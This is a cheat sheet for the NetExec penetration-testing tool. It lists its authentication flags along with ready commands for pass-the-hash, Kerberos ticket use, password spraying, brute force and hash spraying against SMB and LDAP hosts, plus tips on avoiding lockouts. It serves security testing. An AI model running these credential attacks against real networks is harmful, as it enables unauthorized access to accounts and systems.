Global Flags

Authentication

Core Auth Flags

-u USERNAME          # Single username
-u user1 user2       # Multiple usernames
-u ~/users.txt       # Username file

-p PASSWORD          # Plaintext password
-p 'P@ss!'           # Always quote special chars
-p='-P@ss'           # Use = for passwords starting with -

-H 'NTHASH'          # NT hash only
-H 'LM:NT'           # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

-id <cred_id>        # Use credential from nxcdb

--local-auth         # Authenticate as local user (not domain)

Domain Auth (SMB example)

nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

Local Auth

nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth

Kerberos Auth

# Auto-handle TGT using password
nxc smb dc01.corp.local -u user -p pass -k

# Use existing ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache

# Specify KDC explicitly
nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

Multi-Domain Environments

# users.txt format:
# DOMAIN1\user1
# DOMAIN2\user2
nxc smb <target> -u users.txt -p 'Password123'

Output Color Codes

• RED — Authentication failed
• GREEN — Authentication succeeded
• MAGENTA — Password valid but account is not admin
• (Pwn3d!) — Admin access / code execution available

Pwn3d! Meaning by Protocol

Password Spraying & Brute Force

# Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success

# Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt

# Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce

# Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5

# IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
# Without it: every user × every password (full bruteforce)

# Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success

⚠️ OpSec: Jitter works per-host. Spraying against multiple hosts multiplies authentication attempts. Monitor domain lockout policy before spraying (use --pass-pol first).
